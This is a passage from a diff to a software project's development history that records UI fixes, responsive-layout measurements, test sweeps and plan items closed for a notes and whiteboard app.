+  .seg-compact > button`) left the track alone, so the buttons stood 12px past it
+  and 6px below the zoom-out and zoom-in beside them (the `.doc-toolbar` and
+  `.library-head` fault, in the third head). The track grows round them below 600
+  (`height: auto; min-height: var(--target-min)`): 44 across the row, 0 findings at
+  1440 and 390, light and dark. The toolbar scrolls sideways at 390 (scrollWidth 740
+  in 358), by design. `ONLY=ocr` runs just this part of the sweep.
+- **The status bar folds into the top bar under 680 (WORLD_CLASS_PLAN, "the laptop
+  screen is mostly chrome")**: measured, no overlap, nothing built. The fold would be
+  a design change to the shell (the bar is its own band above 600 and folds away
+  below it already, to 0px with its transient items in the header), so it is a
+  design call; what the plan's overlap worry asks is whether the bar sits over the
+  page, and it does not. At 1093x614, 1024x600, 820x600, 700x700, 681x800, 679x800,
+  640x700, 600x700 and 599x800, on dashboard, notes, chat, library, timeline and
+  reminders, the page's bottom edge is the bar's top edge to the pixel (562/562 at
+  1093x614 with touch, 648/648 at 700x700 and 640x700, 786/786 at 390x844 where the
+  tab dock stands on a 0px bar), the chrome at 1093x614 being the 59px top bar plus
+  the 37px status bar (96px, 16%). `phonechrome.js` now prints and asserts that line
+  for every tab at the width it is given (`WIDTH`/`HEIGHT`), so a fold, or a bar that
+  starts to cover the page, shows as a number. (The scroller boxes that read past the
+  bar in a first probe were `.dash-body` rows clipped by their own page.)
+- **`phonechrome.js` at 390: Timeline content at y=340 against a 338 limit, and the
+  transient status bar 0px tall**: two different faults, both reproduced
+  (`phonechrome.js` at 390x844: "content starts at y=340, below 338" and "the bar came
+  back 0px tall"). The Timeline's was real: its dock is 114px, the calendar strip
+  128px and the gaps 9.6px each, so the list began 2.4px past the first-screen rule
+  (40%). The strip's two spacings step down a token on a phone (the head to the days
+  `--space-3` to `--space-2`, the strip to the list `--space-4` to `--space-2`):
+  336 now, 4.8px less, nothing else moved (`daystrip.js` all ok at 1440 and 390;
+  `phonechrome.js` 0 findings, light and dark). The 0px was the sweep's: it
+  un-hid `#status-activity` to make the bar "come back", and the phone bar shows
+  only a running job, offline and power saver (INBOX 430 folded the agent's runs
+  and the activity into More, `10-responsive.css`, "one bar at the foot of a
+  phone"), so it correctly stayed at 0px. The probe now shows each of the three
+  (52px, standing on the tab bar, no pressable control under 44px: the offline and
+  power saver chips are `role="status"` labels, 21px, and are not counted as
+  controls) and asserts the activity alone leaves the bar at 0.
+- **The menu exit animation (perfpolish)**: built. Every way a menu closes is
+  `.hidden`, so the exit is CSS, in the block that already holds the reveal
+  (`10-responsive.css`): `.action-menu` transitions opacity and `display`
+  (`allow-discrete`, as `.wb-resize-handle` already does) over `--motion-fast`,
+  and `.action-menu.hidden` is `opacity: 0; pointer-events: none`, so no close
+  path changed. Moving a node cancels a transition, so the two places that take
+  an escaped menu home on close now wait for the fade (`restoreEscapedMenuAfterExit`
+  from `closeActionMenus`, and `wireEscapedActionMenu`'s observer, both through
+  `menuExitMs`: 0 under reduced motion, where it goes home at once as before).
+  `kebabfirst.js` samples every frame of a note card's kebab and an enhanced
+  select, each closed four ways (the opener, Escape, a press outside,
+  `closeActionMenus()`): before, 0 frames part way and display none by 7 to 27ms
+  on all four kebab paths; after, 4 frames part way on all eight (kebab and
+  select, which is escaped), none takes a press, gone by 138 to 195ms. Dark
+  passes too. 390: only `closeActionMenus` is asserted, because a kebab there is a
+  phone action sheet (`openKebabSheet`, `openSheet`). Found, not fixed: those
+  sheets have no exit at all (they leave instantly on Escape and a press
+  outside), a surface of its own. `tests/test_ui_recipes.py` pins the CSS and
+  both restore paths.
+- **Map export depth bound** (`_export_opml`, `_export_freemind`): already built,
+  see the 2026-10-05 overnight pass above (the iterative `_export_tree`, nesting
+  clamped at `MAX_MAP_DEPTH`, 200); `tests/test_mindmap.py`'s deep-chain and ring
+  tests pass on this head (7 of 7 selected). Nothing to build.
+- **`wbMapNodeSize` and the rendered node disagree by 94px at 390x844**: reproduced,
+  and not a phone thing. `mapstrip.js`'s corner pan is derived from the size
+  `wbMapNodeSize` reports, so how far the topic lands from where it was aimed is
+  the disagreement: 12px at 390x844 (a 24px height error) and 38px at 1440 (76px;
+  the "94px" was the same drift, 2 x 47, on an earlier head). Cause: a state
+  fetched from the server returns every topic at the server's placeholder height
+  (120), the element is what its text needs (44), and a topic the render pass did
+  not repaint took the stored 120 into the size cache, so every pan, ring and
+  edge end computed from `wbMapNodeSize` sat off the box. The element now keeps
+  the height it was last measured at (`_wbMeasuredH`) and the cache takes that
+  before the stored one (`renderWbObjects`). `mapstrip.js` prints the drift and
+  fails above 4px: 0 and 0 after, 38/38 checks at 1440 and 390, light and dark
+  at 390; `maptidy.js` 5/5, `maplayouts.js` 19/19, `mapradialfit.js`,
+  `mapmidpan.js` 12/12 unchanged; `tests/test_map_render_cost.py` pins it. The
+  sweep itself had rotted and was brought back with it: `selectOption` on the
+  hidden native select needs `force`, the retired text-size grip's two checks
+  skip (the corner now carries `.wb-map-resize-grip`), and at 1440 the right
+  click for the corner ring landed on the board's sidebar rail.
+- **Nested frames at phone zoom** (measured, nothing changed): at 390x844 the
+  outer title's hit area is 44x44px (k 0.21), and an inner frame drawn 40 board
+  units to its right takes the share of it the two boxes overlap, 82%, 74%, 60%
+  and 26% of the outer title's box with the inner's top 0, 20, 60 and 150 units
+  below the outer's (at 1440, where the title is 28px: 36%, 26%, 0%, 0%). A press
+  on the outer title's words (6px in from its left, 6px up from its foot) reaches
+  the outer frame at every gap, both widths, light and dark, so "aim at the
+  outer title's words" holds; which frame owns the shared grown area is a design
+  call and stays as it is (the inner is drawn later). `left1005-frametitle.js`
+  prints the four rows and asserts the words reach the outer: 9/9 at 390 and
+  1440, both themes. Found with it: that sweep's last case read 6/7 on the
+  branch before this (the inner title dragged: dx 1,070 for a 284 move) because
+  its four earlier drags carry the pair 1,136 units to the right, where the edge
+  auto-pan takes the fifth; it resets the objects and the view first now, and
+  the case passes, so it was the sweep and not the title.
+- **Writing Room and table full view at phone width**: the page did not
+  overflow in either (`documentElement.scrollWidth - clientWidth` 0 at 390x844,
+  430x932 and 360x640, default and Large text with Spacious; the full view's
+  panel 16..374 of 390 wide with a 14-column table, no sideways page scroll).
+  What was wrong was inside the Writing Room: its one nowrap row held three
+  selects and Use notes, so what to write, tone and length were 62px wide each
+  with the value cut to 16px (89, 65 and 59px needed). Below 600 the row wraps
+  and what to write takes its own line: 89, 65 and 59 of 89, 65 and 59 px
+  shown. `phonecapture.js` now measures the three values and the page overflow
+  at 390; `tablefullclose.js` asserts the full view stays in the window and the
+  page does not scroll sideways at the width it runs at (1440 and 390).
+  Found, not fixed: at 360 with Large text and Spacious the whole shell is 368
+  wide (the header controls and five tab buttons of 74px), 8px of sideways page
+  scroll on every tab, not the Writing Room's.
+- **Spacious density takes two rows (INBOX 276, the 820px setting)**: decided
+  at 820 only, and the sweep said "820 to 1023". `sketchbar.js` now measures 1440,
+  1100, 1024, 1000, 900, 820, 819, 700, 640 and 390, four settings each: the one
+  allowance is 820 with Large text and Spacious (two rows; 900 and 1000 are one
+  row at that setting, 764 and 818 of 764 and 818px). Something else did remain:
+  the tablet band's "dots drop their gap" rule started at 600, not 820, so below
+  820 (where the dots are 2rem with a target a gap wider than the disc) the gap
+  was 0 and 6 pairs of ink-dot targets overlapped at 700 on Large text with
+  Spacious (a press meant for one dot lands on its neighbour). The rule now
+  starts at 820: 0 overlaps at 600, 640, 700, 760, 819 on all four settings, and
+  820 is unchanged. Between 600 and 819 the bar wraps to two or three rows (the
+  dots grew for a finger, recorded with that change); the sweep caps it at three.
+  `tests/test_ui_recipes.py` pins the 820 start.
+- **The sticky's grip and the other small contrast rows**: measured, nothing
+  failed. `contrast.js` now reads a board and a map the way a person opens them
+  (Library, Boards & maps, a card), each open and with every item selected (11
+  `.wb-object-grip` on screen on the board, 0 on the map, which draws none), and
+  each board sidebar tab (a board: Library, Notes, Layers, Pages; a map: Library,
+  This map, Outline). 1440x900 and 390x844, light and dark: every surface "ok"
+  (board 37 and 25 text elements, map 19 and 10; sidebar tabs 28 to 117), no
+  finding. The grip itself is `wbgripink.js`'s: 7.96:1 in dark, above.
+- **`gate.sh --staged` ran the lint set twice** (over 25 minutes under load):
+  the plain `lints` step (working tree) and then `staged-lints` (a checkout of
+  the index), the same `LINTS` array both times. Under `--staged` with
+  something staged only the index run now happens; with nothing staged the
+  working tree is linted once instead, so it never runs zero lints. Measured
+  on this head (load average 3 to 7 during both): 3 m 50 s for the staged gate
+  that ran the set twice, 2 m 41 s with it run once. `tests/test_gate_staged_once.py` builds
+  a scratch repo with the real script and a stand-in interpreter and pins
+  three cases: one run, in a checkout that reads the staged file and not the
+  folder's; that run is handed the exact argument list a plain run gets; and
+  one run on the working tree when nothing is staged. Against the old script
+  its first two tests fail (two runs).
+
+## OPEN.md rows closed, 2026-10-05 (the overnight pass on "Carried from the agent files archived 2026-10-05")
+
+Each row below was checked against the head before anything was built.
+
+- **`_export_opml` and `_export_freemind` recurse with nothing bounding depth**:
+  already built. Both go through the iterative `_export_tree`
+  (`routes_whiteboard.py`: a seen set and nesting clamped at `MAX_MAP_DEPTH`,
+  200), and `tests/test_mindmap.py` holds a 1,200-deep chain and a ring through
+  all three export formats (both tests pass on this head).
+- **`phonechrome.js`'s fresh text box overflowing 5px**: not an overflow of its
+  content. The 5px was the box's eight resize grips, centred on its border by
+  design; the sweep's `drawnPast` ignores a grip since 2026-09-23. Measured
+  2026-10-05 at 390x844 on a text box made by `wbCreateTextBox`: `clientWidth`
+  198, `scrollWidth` 198, nothing drawn past its right edge. The sweep now
+  creates that box itself, so the board step measures it every run.
+- **The Timeline's feed and table duplicating on a breakpoint-crossing
+  re-entry**: fixed already (`paintTimeline` empties the mode it does not
+  draw). The only check was a one-off probe that is not in the repo;
+  `scratchpad/ui-sweeps/timelinetable.js` now crosses 1440, 1024, 390, 1440 and
+  390 with no stored view and asserts the rows are all in one view. Measured
+  75 rows each time (feed at 1440 and 1024, table at 390); with the two
+  `replaceChildren` lines removed it reads 75 and 75 at every width and fails.
+- **Lists have no edge auto-scroll for a drag selection** (INBOX 608's list
+  half): already built, `DRAG_EDGE` in `frontend/js/drag-edge.js`.
+  `s2-1005.js` with `MODE=listedge` at 1440 passes all ten cases (Notes and the
+  Library, top and bottom edge, near and past: 222 to 2,318 px moved in a
+  one-second hold).
+- **The sticky's grip in dark** (1.42:1): already fixed, `.wb-object-grip` has
+  an opaque `--modal-bg-opaque` ground. `wbgripink.js` in dark at 1440x900:
+  7.96:1 on a sticky, a text box and a dark box.
+- **The table full view's X is 28x28, "under `--target-min`"**: it is equal to
+  it. `--target-min` is 28px with a pointer and 44px on touch, and the X
+  measured 28x28 at 1440 and 44x44 at 390. `tablefullclose.js` now asserts
+  the X is at least the token's pixels (`WIDTH=390 PHONE=1` for the phone).
+- **Settings, Tools it can use at 390: a tall gap between "Tokens per step"'s
+  description and its field**: not reproduced. The gap is the row's own 16px
+  gap (`rowGap: 16px`, a column at 390 and a row at 1440), 16px at both widths;
+  the description is two lines at 390 (35px).
+- **Models pane first frame** ("Checking the models..." bare until the first
+  answer): built, with its placeholders (`#models-skeleton`, `settings.js`
+  paints them when `modelStatus` is null). `settingsskel.js` (it nulls
+  `modelStatus` first, `early: true`) passes every check at 1440, the models
+  pane's "keeps its words, above the placeholders" included.
+- **`skeletons.js` reading Library and Documents views BLANK**: a timing read,
+  not a missing skeleton. A view whose module loads on first open (the boards
+  gallery) paints its placeholders 200 to 450 ms after the press depending on
+  load, and the sweep read once at 300 ms. It now reads again every 100 ms
+  until the held answer is due; 11 views as expected at 1440 and at 390.
+- **`tests/test_relations_kg2.py`'s 10k timing flaking under load**: it
+  compared wall times, and a loaded machine stretched whichever run it landed
+  on. It now compares CPU time (`time.process_time`, best of three), which
+  showed the true ratio is 8 to 13 (59 to 82 ms at 2k, 510 to 770 ms at 10k),
+  so the ceiling is 18 times against all-pairs' 25 (it was 10).
+- **`gate.sh --staged` not running `tests/test_help_controls.py`**: it does now
+  (a help edit once put the Guide's whiteboard keys entry at 1,926 characters
+  against 1,920 and passed); `test_like_escaping.py` was already in the list.
+  `tests/test_gate_lint_set.py` pins both, with `test_scratchpad_size.py` and
+  `test_codeql_shapes.py`.
+- **The Word writer never having run**: its five tests ran in a scratch venv
+  with python-docx 1.2.0: `test_docexport_pictures.py` 13 of 13, none skipped;
+  `test_docexport_bundle.py`, `test_document_import.py`,
+  `test_docview_import.py` and `test_extras_bundles.py` 57 passed.
+- **`mappan.js`'s fixture posting a `rect` sketch with no path** ("Expected
+  moveto path command" twice): already fixed; the fixture posts a path
+  (`M 140 320 h 200 v 140 h -200 Z`, `shape: "rect"`), and its comment says
+  why.
+- **The tour between 600 and 1100 wide** (a tablet, a half window): walked
+  with `tour.js` at 700x900, 820x1180 and 1024x768, then 390x844 and 1440x900
+  again after the fixes. Found at 700x900: the chat section planned 4 steps and
+  showed 3 (the chat sidebar is a sheet parked at x -243 from 600 to 819.98 and
+  on any coarse pointer, `#conversation-list` had nothing to point at), and the
+  status section planned 4 and showed 3 (`#status-command` is hidden in that
+  band, `10-responsive.css`). Both steps now carry the media condition that
+  matches, so they are left out of the count; all four sizes then pass every
+  check but one stale one. At all three tablet widths the no-map card was 209
+  characters against the sweep's 140: shortened to 115. The stale check was a
+  regex for the words "New mind map" in a card that says "New, then Mind map";
+  it reads the card's words now. 5,981 checks passed at the four sizes with
+  that one check failing once at each; 700x900 alone with the regex fixed:
+  1,480 checks, 0 failures, 91 of 91 steps. Not walked: a fresh data dir with
+  no notes and no boards.
+- **Sweep comments naming `agent-remaining/mindmap.md` and `mapux2.md`**:
+  repointed to `archive/agent-remaining/` in the nine `scratchpad/ui-sweeps`
+  files that carried them (`canvasconventions`, `dragprofile3`, `mapstrip`,
+  `mindmap3`, `wbdrawloops`, `wbhandlezoom`, `wbmarqueeescape`, `whiteboard`,
+  `whiteboard3`).
+- **A board object in a note, three unmeasured places** (390x780, a chat
+  transcript, the inline id-form chip): measured by `noteobject.js`
+  (`W=390 H=780 PHONE=1`, 0 findings): the card is 320 wide and 104 tall with
+  its preview in a 390 note (the tombstone 86 tall), 259 wide and 109 tall in a
+  chat answer's bubble with no sideways scroll, 106 tall in a document; the
+  live inline chip opens its board at 390 and 1440. The run was under load 40
+  to 50, so the sweep waits for the cards to settle instead of a fixed three
+  seconds.
+- **Found while measuring the board object in a note at 390x780: a board made a
+  moment before its note was drawn read as "no longer in your notebook"**
+  (`noteobject.js` failed on the head at 1440 too). The note's second draw (a
+  second `loadEntries`) found the board's id already marked as asked, skipped
+  the wait and wrote the tombstone while the walk that would have found it was
+  in flight; the first card, the one waiting, had left the page. Fixed in
+  `boardEmbedElement` (`markdown.js`): the marker is the walk's promise until it
+  settles and a second card waits on it. `noteobject.js` passes at 1440 and
+  now also checks the card in a chat answer (813 wide in its bubble, drawn) and
+  a live inline `[[board:ID|label]]` chip (opens its board). A chat answer
+  draws `![[board:ID]]` as a card but `[[board:ID]]` as plain text: only the
+  note renderer draws wiki links.
+- **Found while running `noteobject.js` at 390x780: the Board menu stayed open
+  over what its action rows opened.** Export, Clear, Add to a note, Map to
+  document, Copy app link and Delete are a label and a button inside a
+  `.wb-menu-row`, which the delegated closer in `whiteboard.js` did not name
+  (Rename and New board had been fixed by taking the `wb-menu-item` class).
+  Measured at 390 with a fresh board per row: all six left the menu open
+  (z-index 1020 over the picker's and the dialogs' 1010, the menu covering
+  x 29 to 301 so the note picker's first row at x 41 to 349 could not be
+  pressed); after, the menu is closed for all six, Rename and New board as
+  before. The six carry `data-wb-closes`, the closer selects it, and
+  `tests/test_wb_menu_rows_close.py` pins both.
+
+## Moved from the plans, 2026-10-05 (UI_MODERNISATION Phase 4 item 2, the motion pass)
+
+The row, verbatim: "No transitions on `left/top/width/height`; opacity and
+transform only, ≤ `--motion-base`. Hover changes tone, never size or shape."
+Built by the motion pass (motion-1005; the owner: "subtle animations or
+transitions that are modern, professional ... cheap ones", "make them happen
+even with reduced motion but with a separate toggle", "Also like the smooth
+slide across tabs"). Interface animations (Appearance, on by default,
+`data-ui-motion`, the `--ui-*` tokens) governs the polish set and plays it
+under reduced motion; every interface transition is on `--ui-*`, moves
+transform, opacity or a colour, never a shadow (`tests/test_motion_tokens.py`,
+`tests/test_cheap_animations.py`); the one inset in motion (the anchored
+selection indicator) became a measured `::before` moved by `transform` on
+every strip. Measured by `scratchpad/ui-sweeps/motion1005.js`: the
+indicator 164 to 221ms, 10 or 11 frames, transform only, lands 0px and 0px
+after a resize; off, 0ms; menus placed to the same pixel with the switch on
+and off. DESIGN.md, "Motion" and "Interface animations".
+## Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: WORLD_CLASS_PLAN)
+
+Rows of WORLD_CLASS_PLAN listed as open that are built on the head, each confirmed by grep. A partly built row keeps a short open line.
+
+- **Section 8's list, the duplicated rows.** The table had been merged from several branches and carried each of rows 11, 16, 17, 18 (twice), 19, 20, 21, 22, 23, 24, 25, 27 and 28 as an unstruck row beside its struck copy (and row 10 twice, struck, with different text). The struck copy is the current one in every case (each names its test or HISTORY block), so the unstruck copies were deleted and the table is one row per number, 1 to 38; row 10 keeps its first text and the second copy's "left: the Library grouping notes by type".
+- **Row 26, the 1 MB boot line.** Built: boot JS is 691,724 bytes as served (own code plus d3's 92,459), gated by `tests/test_boot_budget.py` (H7's 2026-10-05 correction); every list over 200 rows measured (chunk-on-scroll, `s2-1005.js` MODE=rows, scroll p95 19 to 25 ms). First paint measured 2026-10-05 (numbers in the row). The skeleton sweep's "Library and Documents read BLANK at 1440 and 390": a sweep artifact, not a blank frame. `skeletons.js` read `checkVisibility` mid-fade (fixed f3bb3d3, f30d795); re-run on a fresh data dir with every API call held 1,500 ms, library/docs, boards and maps, media, skills, links, contents, reminders, timeline, graph and documents/list at 1440 show placeholders, all as expected at 390, and the one remaining flag (chat/conversations reading its boot answer "No saved chats yet" as EMPTY-TOO-SOON) is now in the sweep's expected list.
+- **261, `GET /resurface/near` and the vault re-key.** Built: `note-panels.js` calls `/resurface/near/{id}` (the notes rail, row 4); `settings-controls.js` calls `POST /auth/rotate-vault-key` (nbf1005).
+- **I7, "not wired".** Built 2026-10-05, both halves: `learning.excluded_categories` is called by `janitor._semantic_category` (ARCH-08), and `learning.filing_evidence` is called by `librarian.evidence_note`, which `librarian.filing_prompt` adds (three neighbours with their categories, three matching refile corrections not already in the corrections block, none from a private note, none for the note being re-filed, silent when the corrections switch is off; `janitor._ask_llm` passes `exclude_entry_id`). `tests/test_filing_evidence_wired.py`.
+- **Move a batch of notes to another space.** Built (row 30): `batch-space.js`, `POST /spaces/{id}/move-notes`, an Undo that moves them back, `tests/test_selection_actions_row30.py`.
+- **Briefs 484 to 496** (the 2026-10-04 design queue). Built, each with its "Built:" line in "INBOX resolved": 485 the Attach panel, 496 Contents and the Boards and maps load, 493 the graph's look, 484 the leader menu, 486 callouts, 490 the follow-up trail.
+- **425(j), Settings preferences autosave.** Built: the Save button is hidden and `#prefs-status` reports the autosave (`index.html`, INBOX 426 u).
+- **13, the whiteboard's five menus never driven.** Driven: `kebab-viewport.js` opens all five at three window sizes (15 cases OK) and `wbtopbar.js` gates their keyboard and ARIA (WHITEBOARD_PLAN 43).
+- **22.1 item 1, no URLs.** Built: `router.js` (hash routes, `popstate`, reload restores the view, the window title names it).
+- **22.1 item 7, no screen-reader pass.** Built apart from a real screen reader: one `<main id="app-main">`, the axe sweep with 0 findings at 1440 in both themes. Not verified: an actual screen reader.
+- **423(g), `_desktop_port()` taking any MemoryMap for this one.** Built 2026-10-05: `GET /instance` (open, `app.py`) reports `instance_lock.data_dir_id` (sha256 of the resolved data dir, lower-cased on win32, never the path); `_port_holder` (`__main__.py`) returns "other" for a MemoryMap whose id differs, so `_desktop_port` moves to the next free port; a build with no `/instance` is still reused. `tests/test_frozen_launch.py` (same dir reused, different dir not, symlink and `..` equal, case-insensitive on win32), `tests/test_every_route_is_locked.py` (allowlist).
+
+## Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: WHITEBOARD_PLAN)
+
+Rows of WHITEBOARD_PLAN that were built and still sat in it, each confirmed on the head by a grep. The decisions 19 to 36 stay in the plan (decisions are not remade), with a status line; the placed blocks and the stale "open" lines moved here.
+
+### Placed items 25, 43 and 47 (INBOX, 2026-09-09)
+
+25 is built (HISTORY.md, "one handle recipe": the note card's own edge stands down while it is selected, and a link can start from and land on every kind, `wbLinkCandidates`). 43 is built: the top bar's menus were fixed in e1e395b (`kebab-viewport.js`, 15 cases OK) and the tool rail and the properties panel are Phases 1 to 3 (BUILT 2026-09-12; `whiteboard.js` 24 checks, `whiteboard3.js` 12). 47 is built: `docks.js` at 1440 re-measured on 2026-10-05, Notes 6 controls and Library 6, both under the ceiling. The text as it stood:
+
+25. **Whiteboard: the edge anchor outline on note objects differs from
+    every other object kind.** Decision: one anchor recipe for all kinds
+    (the shape one; the note one goes). Owner: WHITEBOARD_PLAN Phase 1.
+43. **(the top bar's menus: fixed, e1e395b; the rest is Phase 1)**
+    **Whiteboard bottom tool rail and the properties panel** are not on
+    the refined recipes (the top bar is). Owner: WHITEBOARD_PLAN Phase 1.
+    **Done, one part:** the five top-bar menus (Insert, Edit, Arrange, View,
+    Board) clipped at the bottom of the panel, the View menu screenshot in
+    31. They were already capped to the window, which was not the bug:
+    measured at 1280x640, View and Arrange ended at y=628 inside a 640px
+    window while `#library-view-whiteboard` (`overflow: hidden`) ends at
+    y=579, so the last 49px was cut off by an ancestor. Now on 31's recipe
+    (escape the clipper, then cap, then scroll). kebab-viewport.js sweeps
+    all five at 1440x900, 1280x640 and 1280x420: 15 cases, all OK. The tool
+    rail and the properties panel are still open.
+47. **Notes (10) and Library (9) still count over the seven-control
+    ceiling** (`scratchpad/ui-sweeps/docks.js`), same as Graph did before
+    this batch. Graph's fix (moving `#graph-view-picker` into its More menu)
+    is not a decision this item can reuse for these two: graph.md section 3
+    named its own two candidates for graph specifically, and named nothing
+    for Notes or Library beyond the counts, so guessing which of their
+    controls moves where is a design call, not a mechanical one (CLAUDE.md
+    §2 rule 3 -- a missing decision is recorded, not remade). Both docks'
+    inflated counts are partly an artefact of how `docks.js` counts, worth
+    knowing before picking a fix: a native `<select>` is auto-enhanced into
+    three counted elements (the select, its `.select-shell`, its
+    `.select-opener`), and a `.seg` segmented control counts as one plus one
+    per visible option, so Library's sort select and its two-button
+    Cards/Rows segment alone are 6 of its 9, and Notes' sort select and its
+    two-button Rows/Cards segment are 7 of its 10. Recommendation: before
+    moving anything, decide in UI_MODERNISATION_PLAN Phase 8 whether the
+    ceiling counts *controls a person reasons about* (a segmented view
+    toggle is one decision, not three) or literal DOM elements as `docks.js`
+    does today; if the latter stands, the same "into an existing menu"
+    treatment graph got is available for Library's `#library-sort` (into
+    Filter or More) and Notes' `#note-sort` (into a menu of its own), which
+    would need one new decision line each rather than either being moved on
+    a solo guess. Owner: UI_MODERNISATION_PLAN Phase 8.
+
+### Placed items 48, 52, 56, 64 and 65 (INBOX, 2026-09-09)
+
+48 is built: `LAZY_MODULES` in `app.js` loads whiteboard.js, documents.js, library.js and graph.js on first use of their tab (`tests/test_frontend_load_order.py`). 52, 64 and 65 are built by Phases 1 and 2 (one surface per panel, hairline dividers, the Arrange section; HISTORY.md, "Built, 2026-09-09: one surface per panel, and the Arrange section", and the INBOX 52, 64, 65 record). 56 is built: the picture card's bottom recipe ("Decided, 2026-09-12: what the bottom of a picture card is", UI_MODERNISATION_PLAN Phase 7). The text as it stood:
+
+48. **Every module parses at boot, whichever tab opens.** Decision: load
+    whiteboard.js, documents.js, library.js and graph.js on first use of
+    their tab (a small loader in app.js, `tests/test_frontend_load_order.py`
+    updated for the split; boot stays synchronous for app.js and the
+    guards). Expected: the parse cost of about 1.3 MB of JavaScript leaves
+    the startup path. Owner: Opus. Size M.
+64. **Whiteboard properties panel, "needs a massive redesign and fix"**
+    (three screenshots, 01:30): Copy style row, Guide colours (three swatch
+    rows), then Group / Ungroup overlapping each other, an arrow button, the
+    three align icons, two Space buttons and Extract notes "just chucked at
+    the bottom". Owner: WHITEBOARD Phase 1 (properties panel), Opus.
+    Decision: sections with a heading each (Style, Guides, Arrange, Notes);
+    Arrange as one icon toolbar row on the dock recipe (align x3, distribute
+    x2, group/ungroup as a pair) with tooltips, never label buttons that
+    overlap; Extract notes as the section's one text button; measure that
+    no two controls' rects intersect and the panel scrolls inside.
+65. **Whiteboard panels "feel unrefined": the buttons look separate from
+    the panels** (bottom tool bar, zoom pill, properties). Same fix as
+    INBOX 52: one surface per panel, hairline dividers, no per-control
+    background except the active tool. Owner: WHITEBOARD Phase 1.
+56. **Library image cards, "really ugly"** (screenshot): thumbnail, file
+    name, "Used in" chip, a Description bullet with Show more, a model chip,
+    a "Text in this image" bullet with Show more, a "Read by ..." chip: six
+    ranks of information at one weight, chips for provenance that read as
+    actions. Owner: Opus, next slot, with INBOX 52 (whiteboard bottom bar).
+    Recommendation: thumbnail with the file name on it; one line "Used in
+    <chip>"; the description as one paragraph with a "More" toggle; the OCR
+    text folded under a single "Text in this image" disclosure; provenance
+    as one muted line at the foot ("Described by X, read by Y"), no chips.
+52. **Whiteboard bottom bar: the tool groups "feel separate from the
+    panels and not integrated"** (screenshot: seven pill groups with their
+    own backgrounds and dividers inside one bar, and the zoom pill on the
+    right in a different style). Owner: WHITEBOARD Phase 1 (bottom rail),
+    with the mind map agent's whiteboard work merged first. Recommendation:
+    one bar surface, groups separated by a hairline divider only, no
+    per-group background; the zoom pill on the same recipe. Size S.
+
+### INBOX 557 and 558, the draw.io pass
+
+Built across decisions 19 to 36 (WHITEBOARD_PLAN's "Decisions made, 2026-10-05"): the locked item's hover lock (28), the Layers tab (27), the object library with "Yours" (25), the Format panel (19, 20), one command table (23, `tests/test_wb_commands.py`), a board's look on the board (24), the AI's board tools (29, `_edit_board_item` and its three siblings), bends and line jumps (30, 31), a Mermaid subgraph as a frame (32), the board's time machine (33, `tests/test_board_history.py`), guides on drawn shapes (34), connection points on the outline (35, `wbPortsForPath`) and Branches from my notes (36). Not built: ghost topics drawn on the canvas (boot CSS room), named layers. The text as it stood:
+
+557. **The owner, 2026-10-05, three asks, verbatim.** "should there be a popup
+     hover subtle faded lick icon on locked elements or smth on the
+     whiteboard or nah??"; "what about whiteboard layers and a layers
+     panel?"; "maybe an object library??"
+     Recommendations given:
+     - (a) A faded lock fades in at a locked item's corner on hover, found
+       by a board-level hit test since the item takes no pointer
+       (decision 15). A press on one pulses it and hints once:
+       "Locked. Right-click to unlock".
+     - (b) A Layers tab: the board as a tree (frames, then groups, then
+       items) in z-order, each row with show/hide, lock and rename; a press
+       selects and zooms, a drag restacks. One new field (`hidden`). Named
+       Draw.io layers are phase 2 (BACKLOG 29c). It also lifts ink's fixed
+       place under cards.
+     - (c) A Library tab beside it: built-in shapes, frames and the vendored
+       icon set, plus "Save to library" for any selection (items, relative
+       positions, links, a thumbnail) in a small table, usable on any
+       board. Board templates (BACKLOG 4b) become saving a whole board to
+       it. Mind maps get saved branches.
+     Placed: into the whiteboard briefs after the features audit
+     (scratchpad/audit1005/features.md).
+
+558. **The owner, 2026-10-05, verbatim.** "I think an object or elements
+     library would be really good like with what draw.io has. I want more
+     whiteboard features, take everything from draw.io as it is sooooo
+     useful and nifty. also improve the usability and reliablility of the
+     mindmap. make them features people can actually use and use well.
+     redesign the controls and how they can be used and accessed where
+     needed to maximise usability, utility, accessibility, and
+     learnability" Placed: the features audit is now writing the full
+     draw.io catalogue, the library spec, a controls redesign for board and
+     map, and a mind map usability pass, as phased briefs. Each phase then
+     goes to one Opus agent, its decisions entered in WHITEBOARD_PLAN and
+     MINDMAP_PLAN.
+     Then (verbatim): "also the ability to save custom elements and stuff as
+     well": saved selections, custom shapes drawn on the board, saved styles
+     and palettes, sticky/card/topic presets, saved branches, and whole
+     boards as templates, all in the library's "Yours", importable and
+     exportable.
+
+### Two stale "open" lines in the undo audit
+
+- **Entity merge**: the audit's table said "none yet (open; another agent's)". Built (INBOX 553(a)): `merge_with_undo` and `POST /merges/{undo_id}/undo` (`routes_entities.py`, `ai/entities.py`), the Undo in the merge's toast (`entity-page.js`). The table row now says so.
+- **A board's undo across a reload**: the audit's "Open: a board's undo does not survive a reload" was answered by the amendment to decision 2 (the last 100 steps per board in IndexedDB, `undo-store.js`). The plan line and `agent-remaining/OPEN.md`'s history row now say so; what stays open is an agent's or another tab's change, which is not on the stack (the History sheet has it).
+
+## Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: UI_MODERNISATION_PLAN)
+
+Three blocks of UI_MODERNISATION_PLAN that were built and still sat in the plan, moved whole with the evidence found on the head. The plan's own record already said "Phases 0 to 11 built" (ROADMAP.md).
+
+### Phases 0 to 6 (tooling and gates, mass and layout, component consistency, typography and glass, motion and placement, the per-surface passes, designed states and copy)
+
+Found built on the head, each by a grep: Phase 0's `tests/test_ui_signatures.py` and `scratchpad/ui-sweeps/all.sh`; Phase 1's `--page-gutter` (12 uses in `00-tokens-shell.css`), `--measure: 54rem` and the `.card` and `.card.compact` recipes; Phase 2's recipes (`kebabMenu`, `.dock`, the glass and radius tokens) held by `tests/test_ui_recipes.py`, `tests/test_style_scale.py` and DESIGN.md's recipe index; Phase 3's glass-off list (`tests/test_ui_recipes.py`); Phase 4's `.is-placed` measure-place-reveal path (`sheets-selects.js`); Phase 5's surfaces (each in HISTORY under its tab); Phase 6's `dashEmpty` and `showSkeletons` and DESIGN.md's "Voice" section. Their text as it stood:
+
+## Phase 0: tooling and acceptance gates (½ session)
+
+1. Add `tests/test_ui_signatures.py`: a static lint that counts distinct
+   `gap:`/`padding:` values on `.row`-class selectors and distinct
+   `border-radius` values on surface selectors, with a ceiling the later
